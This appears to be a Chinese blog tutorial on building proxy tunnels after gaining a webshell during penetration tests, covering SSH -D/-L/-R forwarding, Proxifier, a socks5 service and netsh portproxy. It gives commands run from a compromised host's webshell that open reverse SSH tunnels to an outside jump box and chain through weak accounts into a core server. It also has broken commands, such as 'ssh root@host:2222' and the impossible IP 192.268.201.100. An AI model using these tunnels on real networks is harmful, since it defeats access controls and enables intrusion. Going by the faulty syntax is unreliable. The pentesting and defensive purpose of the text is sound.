背景
能够成功地通过web漏洞获取到webshell，对于一次完整的渗透测试来说，仅仅相当于万里长征的第一步。这么说，可能比较夸张吧，并不是所有渗透测试都会遇到几百台机器的大内网。
在PTES(渗透测试执行标准)中，把渗透测试分成了七个主要的过程，也就是说现在通常说的前期交互、目标识别、信息收集、漏洞分析、漏洞利用、后渗透测试、报告编制这七大步骤。如果你看过PTES标准，你应该会跟我有一样的感觉，后渗透测试部分的内容，几乎等于其他六个部分的总和。当然，也只是在系统规模达到一定程度的时候，才会明显的感觉出来。
小生虽然离开了安全工程师的岗位，还是偶尔会遇到小年轻们拿到shell之后就不知道该干嘛了。写了个报告交给客户，草草结束了一个项目(这也是目前渗透测试服务的一个弊病，大部分的渗透测试都以Getshell为主要指标，能getshell，基本上已经宣告渗透测试结束了)。内网中，如何打开一个稳定、可靠的数据通道，对后续的测试工作起到非常重要的作用。这里分享一些我在之前渗透测试中常用的方式。在造成最小影响的情况下，构建稳定的内网代理通道。
其实并没有什么新奇的工具。我相信有很多我没都还没见识过的工具，不少坊间流传的远控工具功能强大，也非常易于使用。对于我这种，至今还在使用初版菜刀的“学院派”来说，最基础的工具，往往是最可靠的。
第一个工具：SSH(别急着喷，先看完)
SSH在渗透测试中往往扮演了非常重要的角色。一方面，几乎所有的Linux/Unix服务器和网络设备都支持SSH协议。另一方面，SSH是最常用的远程管理协议，网络层面的访问控制协议，往往会为SSH网开一面。很多管理员为了便于管理，都会开放SSH远程管理，总不能每次一出问题就直奔机房吧。SSH本身是安全的，但是安全的通道，同样会在网络攻击中被利用。
SSH最简单的命令行格式如下：
ssh root@192.268.201.100 使用-p指定目标服务器上的ssh端口
ssh root@192.268.201.100 -p 2222 或者用下面的形式：
ssh root@192.168.201.100:2222 使用-N建立静默连接(建立了连接，但是你看不到会话,这个选项不是所有的ssh都支持，具体看情况)
ssh -N root@192.168.201.100:2222 使用-f对ssh进行后台执行，这个选项会把ssh转入后台，即使用户登出，ssh会话也不会终端，除非超时。
ssh -f root@192.168.201.100:2222 只要在本地设置一下代理端口就可以使用了。估计不少同学也是用过类似的方式去访问某些“不可描述”的网站。
SSH的隧道，说得通俗一些，其实就是端口映射，或者叫端口转发。
SSH一共支持三种隐射方式：
动态映射(使用-D选项，前面说的就是这种方式)。原理图如下：
ssh -D 8080 root@192.168.201.100 这个命令行会在本机上监听8080端口，成为一个sock5代理，只要简单设定一下代理，就可以以192.168.201.100作为代理服务器传送流量了。
本地映射(使用-L选项)，将远端服务器的端口，隐射到本地。原理图如下：
ssh -L 8080(本地端口):192.168.201.101(目标主机):3306(目标端口) root@192.168.201.100(跳板机) 以SSH Server 为跳板，将Target Host的端口，映射到本地服务器上。这时候，你访问本地的8080端口，实际访问的，就是Target Host的3306了。
前提：SSH Server必须要能通过ssh够登陆到Target Host上去。
场景：SSH Server和Target Host都在内网，但是外部机器只能访问到SSH Server，而无法直接对Target Host做任何请求的时候。
远端映射(使用-R选项)，将一个远端服务器的端口，隐射到另一个远端服务器。
ssh -R 3307:192.168.202.244:3306 root@192.168.201.100 这个时候，执行这条命令的主机，就成为跳板机。
前提：执行这条命令的主机，必须同时能够访问SSH Server和Target Server。
场景：SSH Server在外部，跳板机在内网，Target Host和跳板机同网段但无法直接从互联网访问到，或者Target Host处在更深层的内网。
实际上，本地映射、远端映射和动态隐射都可以灵活应用，跳板机、目标主机的角色是可以互相转换的。
假设渗透测试中的一个场景如下：
假设，每一台服务器你都知道至少一个账户的密码，这里假设内网的服务器上都有一个弱口令的oracle账户。
| 测试人员 | 公网跳板机 | 内网跳板机1号 | 内网跳板机2号 | 目标主机 |
|
192.168.100.1 公司内网 |
218.2.135.2 虚拟主机 具备独立的公网IP |
233.33.33.33 已Getshell 不能从外部直接登陆 但可以访问互联网 |
192.168.100.100 内网主机 不能访问互联网 可以被跳板1号访问 |
10.10.10.2 核心服务器 可被跳板机2号访问 能够访问核心区域 |
第一步：登陆公网跳板机
ssh root@218.2.135.2 第二步：把218.2.135.2的公钥，添加到跳板机1号的信任列表中。
公钥信息，在你本地的~/.ssh/know_hosts里面可以找到
形如：
218.2.135.2 ssh-rsa AAAAB3NzaC1y**************************************************************************************************************************************************************************************************************************7/WggmJ4OYMJp0OnKQ== 对应的，跳板机1号上你要添加到对应账户的~/.ssh/known_hosts文件中。
因为ssh初次登陆一台主机的时候，会询问用户，是否信任该主机。而且，如果同一个ip，其公钥与此前登陆时记录的公钥不必配，是无法登陆的，所以需要进行这个操作。
第三部：映射跳板机2号的ssh端口，到公网跳板机上(在跳板机1号的webshell中执行)
ssh -f -N -R 2222:192.168.100.100:22 root@218.2.135.2图解：
第四部：登陆到跳板机2号上
ssh oracle@localhost:2222 因为上一步已经将跳板机2号的22端口映射到公网跳板机上去了，这时候可以直接登陆。
（注，公网跳板机也要做好防护，映射出去的端口，很有可能被扫描或者攻击，这个时候实际上被扫描的就是内网的服务器，我们不希望这种事情发生，这个时候就应当限制，2222端口只能被本地访问）
第五部，在跳板机2号上继续创建动态隐射
ssh -f -N -D 192.168.100.100:7777 oracle@10.10.10.2 图解：
渗透测试中有很多变数，不能一竿子打死，只映射特定的一个端口(比如1521)。最后一跳，个人建议以动态映射的方式，这样可以保证后续的其他测试工作也能顺利进行。但如果甲方对渗透测试有特定的需求，请务必按照甲方要求的方式进行。(比如，甲方不希望你访问除10.10.10.2之外的任意服务器，那么最后一跳就做一个本地隐射就可以了)
第六部：在跳板机1号上执行
ssh -f -N -R 7777:218.2.135.2:7777 oracle@192.168.100.100 最终，打开了一个直通内网核心的SSH隧道。
只要配置代理，sock5://218.2.135.2:7777，就可以使用浏览器或者数据库终端或者其他工具，来进行更深入的测试。
（我自己都觉得好烦的说…..）
你发送的流量，在公网跳板机上，跳板机2号上，目标主机上都会进行解密和重新加密的工作，所以效率会低很多(有点类似于洋葱路由了)。一般的手工测试或者文件传输没有太大问题，但是这个隧道一般无法支撑Namp或者WVS之类快速发包的工具。
如果你觉得这些操作太过于繁琐，不妨试试SSH Tunnel(仅限Mac，非常值得花钱买的一个软件)。windows的话，还是一行一行敲命令吧。
第二个工具，Proxifier
其实我并不是很喜欢这个工具，虽然功能强大。个人感觉配置Proxifier比配置防火墙还麻烦，所以用的很少。
在Proxies中添加你的代理服务器，可以配置多个代理，支持Socks4/5，HTTPS和HTTP代理。
看到下面的ProxyChains了么？这是它非常强大的一个功能。
其次是配置代理规则，
规则中可以详细指定，什么应用，访问什么站点的时候，使用哪一条代理链路。
在渗透测试的时候，这样的多链路代理会有比较大的用处。
切记，隧道和多链路代理本身已经打破了信息系统中固有的访问控制策略，如果你不能保证你自己的环境是否安全，请不要给客户增加额外的麻烦。
注：Proxifier跟VMware Workstation在功能上有冲突，如果安装了Proxifier，VM的虚拟机共享功能就无法使用。我之前遇到这个问题，蛋疼地把系统都重装好几次才意识到它俩有冲突。
第三个工具，SSH Proxy
算是SSH Tunnel的姊妹，同一个开发者，也是只有Mac下才有的工具。一般两者配合使用，基本上可以不用Proxifier了。它其实就做做了一个SSH的动态隐射而已。
配置好本地的映射端口，代理的服务器和对应的身份验证信息就可以了。
SSH Proxy的白名单功能比较好用，如果只需要对特定的站点或IP地址进行代理，就把IP地址添加到白名单里就可以了。但相比Proxifier，就没有的ProxyChains功能和多链路代理功能。
忠告：不建议使用SSH隧道出墙，因为流量特征明显，非常容易被屏蔽。
第四个工具，windows专用的sock5代理工具。
这个工具很小，可以使用命令行方式安装，可以在系统中注册成一个服务，随系统启动。也可以使用下面的命令行来运行这个服务，监听的端口是10086。
这个工具只有三个参数：
socks5.exe -i 安装socks5代理服务
socks5.exe -d 删除服务
socks5.exe -r 直接运行代理，不会注册一个新的服务。
(为了避免测试结束之后就忘记了，建议还是用-r方式直接运行，使用完毕就kill掉这个进程)
详细的使用介绍和源码，请戳这里
第五个工具，netsh
我自己用得也不是很多，暂时还没有好的案例可以分享，但是在内网中效果还是很不错的。
命令行格式如下：
创建端口映射
netsh interface portproxy add v4tov4 listenaddress=192.168.100.100 listenport=8443 connectaddress=10.10.10.2 connectport=8443 删除端口映射
netsh interface portproxy delete v4tov4 listenaddress=192.168.100.100 listenport=8443 查看当前所有的端口映射规则：
netsh interface portproxy show v4tov4 同样的，如果你能够在多台服务器上创建端口转发的链路，效果和ssh隧道几乎是一样的。
最后，渗透测试结束的时候，务必清除你创建的所有代理链路。毕竟，这些代理隧道已经打破了内网的访问控制策略了。（使用-N 和 -f选项建立的SSH会话运行在后台，只能kill掉对应的进程，但别kill错了）
如果你用我的方式去修改了known_hosts文件，也要把对应的公钥信息做清理。
小结：
隧道之所以能成功，前提是系统中访问控制不足。如果系统中配置了SSH远程管理的白名单，或者在ACL里限制特定的IP才能连接SSH，又或者系统完全使用带外管理，那就得两说了。
对于甲方来说，SSH固然是最常用的一种远程管理工具，SSH本身安全性也可以保障。但一定要意识到，安全工具，往往也会沦为攻击的重要手段。
如果没有足够的资源来建立带外管理的网络结构，内网中至少要限制SSH远程登录的地址和双向的访问控制策略(从外部到内部，从内部到外部)
切记，再牛逼的安全防护策略，也敌不过内网里遍地的弱口令。-_-|||
我身边的很多人都用LCX，但是从业三年时间里，我自己还没有成功地使用过这个工具，这里就不做介绍了。期待各位来做补充。